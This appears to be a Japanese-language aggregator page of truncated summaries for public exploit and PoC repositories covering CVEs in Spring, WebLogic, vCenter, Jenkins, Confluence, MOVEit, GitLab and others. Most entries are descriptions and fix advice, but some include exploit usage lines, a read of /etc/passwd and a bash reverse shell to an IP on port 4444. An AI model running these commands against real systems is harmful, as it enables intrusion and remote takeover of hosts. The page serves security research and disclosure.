Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Java Spring framework RCE 脆弱性 これらの脆弱性は、フレームワークの中核である「Spring Core」コンポーネントに影響を与えます。 現在の脆弱性の条件:- JDK 9+ 脆弱性のあるバージョンのSpring Framework（5.2 | 5.2.0-19 | 5.3.0-17） SpringアプリケーションのサーバーとしてApache Tomcatを使用し、WARとしてパッケージ化されていること Spring...

firefox-rce-nssmil

Firefox RCE CVE-2016-9079 – 教育用JavaScript移植版 CVE-2016-9079の公開エクスプロイトの教育用実装です。元のExploit-DB/Metasploitモジュールをスタンドアロンで使用できるように移植したものです。 免責事項 このリポジトリは、教育および研究目的のみで提供されます。公開されているエクスプロイトのJavaScript移植版を含み、歴史的なブラウザエクスプロイト技術を研究するためのものです。所有していない、またはテスト許可を得ていないシステムに対する不正使用を意図したものではありません。 概要 このリポジトリには、Mozilla...

weblogic2021

このプロジェクトは、セキュリティ研究および認可を得た状況でのみ使用されるものであり、利用者は現地の法律・規制を遵守する責任と義務を負います。 weblogic2021 CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756、CVE-2021-2109 WebLogic に影響する 7...

CVE-2023-50164-POC

これは CVE-2023-50164 の概念実証 PoC であり、struts-core においてリモートコード実行 RCE につながる可能性のある新しいパストラバーサル脆弱性を概説しています。 この問題を修正するには、Struts 2.5.33 または Struts 6.3.0.2 以降に更新することをお勧めします。 このリポジトリは、こちらで公開されている Henrik Plate 氏の優れた成果を基にしています。 PoC の実行 このプロジェクトには、vuln と no-vuln の2つの Maven プロファイルがあります。デフォルトは vuln です。 RCE...

CVE-2021-21978

CVE-2021-21978 エコーバージョンのエクスプロイトスクリプト、より簡単な方法 0. 脆弱性情報 VMware View PlannerのWeb管理インターフェースには、ログ機能ファイルをアップロードするエントリがあり、認証がなく、書き込まれるログファイルのパスがユーザー制御可能です。アップロードログ機能ファイルloguploadwsgi.pyを上書きすることで、RCEを実現できます。 脆弱性コード： root@kitploit: def applicationenviron, startresponse: logger.debug"application called" if...

CVE-2021-21985_PoC

脆弱性の詳細 VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN の RCE（CVE-2021-21985） vSphere Client（HTML5）には、vCenter Server プラグインにリモートコード実行の脆弱性が存在します。ポート 443 へのネットワークアクセスを持つ悪意のある攻撃者は、この問題を悪用して、vCenter Server をホストする基盤となるオペレーティングシステム上で無制限の権限でコマンドを実行できる可能性があります。この脆弱性は、VMware vCenter Server（7.0 U2b より...

CVE-2018-1000861

CVE-2018-1000861 CVE-2018-1000861を悪用するシンプルなスクリプト（Python 3で記述） 使い方: root@kitploit: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help show this help message and exit -u URL, --url URL Target Jenkins server -c CMD, --cmd CMD Command to execute -r, --revshell Execute reverse...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC この概念実証スクリプトは、Fluent Bit におけるメモリ破損の脆弱性 CVE-2024-4323 を利用してリモートコード実行を可能にする方法を示しています。 CVE-2024-4323 は、Fluent Bit バージョン 2.0.7 から 3.0.3 におけるメモリ破損の脆弱性です。この問題は、組み込み HTTP サーバーによるトレースリクエストの解析に存在し、サービス妨害 DoS 状態、情報漏洩、またはリモートコード実行 RCE を引き起こす可能性があります MITRE CVE Launchpad。...

CVE-2021-41773

CVE-2021-41773 Usage root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py CVE-2021-41773とは？ CVE-2021-41773 Apache HTTP Server 2.4.49のディレクトリトラバーサルの脆弱性。Require all...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE 任意ファイル読み取り CVE-2024-23897 使用方法: python poc.py http://127.0.0.1:8888/ /etc/passwd 更新: Jenkins 2.442, LTS 2.426.3 にアップデート 修正方法: 最新バージョンにアップデートできない場合は、CLIへのアクセスを無効にしてください。これにより、悪用の可能性が完全に排除されます。...

CVE-2021-36260-hikvision

CVE-2021-36260 CVE-2021-36260 POC は、一部のHikvision製品のWebサーバにおけるコマンドインジェクションの脆弱性です。入力検証が不十分なため、攻撃者は悪意のあるコマンドを含むメッセージを送信することで、コマンドインジェクション攻撃を仕掛けることができます。 エクスプロイトタイトル: Hikvision Web Server Build 210702 - コマンドインジェクション エクスプロイト作者: bashis -- shubtheone によるエラー更新 ベンダーホームページ: https://www.hikvision.com/ バージョン...

CVE-2020-1350-Fix

KB4569509: DNS サーバーの脆弱性 CVE-2020-1350 に関するガイダンス はじめに 2020 年 7 月 14 日に、Microsoft は CVE-2020-1350 | Windows DNS サーバーのリモート コード実行の脆弱性 に記載されている問題のセキュリティ更新プログラムをリリースしました。このアドバイザリは、DNS サーバーの役割を実行するように構成された Windows サーバーに影響を与える重大なリモート コード実行 RCE の脆弱性について説明しています。サーバー管理者には、できるだけ早くセキュリティ更新プログラムを適用することを強くお勧めしま...

CVE-2020-1048

CVE-2020-1048 CVE-2020-1048 PrintDemon の POC エクスプロイトコード 脆弱なシステム 以下のリンクに記載されているすべてのWindowsバージョンが脆弱です: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 再現手順 1. Source.c の先頭にある変数 gPortName と gInputFile を変更します。 2. Visual Studio を使用してコンパイルおよび実行します。 3. プリンターサービス spoolsv...

CVE-2025-55182

React2Shell Ultimate Scanner CVE-2025-55182 向けプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、CVE-2025-55182 向けの包括的な脆弱性スキャナーです。この脆弱性は、React Server Components RSC を使用する Next.js アプリケーションに影響を与えるクリティカルなリモートコード実行 RCE 脆弱性です。 TEMPLATE poc 🚀 クイックスタート root@kitploit: Execute command...

gosign-desktop-exploit-poc

GoSign Desktop の複数の脆弱性によりリモートコード実行が可能 名前: GoSign Desktop の TLS 検証バイパスと安全でない更新 CVE: CVE-2025-34324、CVE-2025-34327 影響を受けるシステム: GoSign Desktop = 2.4.0 修正: FoSign Desktop 2.4.1 部分的に修正 ベンダー: Tinexta InfoCert S.p.A. 深刻度: 高 8.2/10 CVSS 3.1: AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H アドバイザリ:...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809-別名 The Little Boy - POC CVE-2022-26809 の RPC 経由 RCE の poc はここで更新されます。 現在、脆弱なコードの特定を進めており、最もシンプルなワンクリック RCE をここで公開します。...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...

CVE-2022-26134

CVE-2022-26134 PoC Confluence ServerおよびData Center - CVE-2022-26134 - 重大な深刻度の認証されていないリモートコード実行脆弱性 PoC 深刻度 Atlassianは、Atlassianの深刻度レベルに基づき、この脆弱性の深刻度をCriticalと評価しています。上記の修正バージョンより前のすべてのConfluence ServerおよびData Centerのバージョンが影響を受けます。 修正バージョン...

CVE-2023-34362

CVE-2023-34362: MOVEit Transfer の未認証 RCE 脆弱性とその悪用方法の詳細な技術説明については、AttackerKB 分析 をお読みください。 使用方法 root@kitploit: ruby CVE-2023-34362.rb 注: デシリアライゼーションガジェットは 'notepad.exe' を起動するように構成されています。 使用例 root@kitploit: ruby poc-cve-2023-34362.rb 192.168.86.111 + Starting. target='https://192.168.86.111'. +...

CVE-2022-24086-CVE-2022-24087

CVE-2022-24086-CVE-2022-24087 Picus Cyber Talent Academy Assignment のために私が書いた Magento および Adobe Commerce の RCE 脆弱性 CVE-2022-24086 および CVE-2022-24087 に関するブログ記事は、CVE-2022-24086&CVE-2022-24087.pdf にあります。...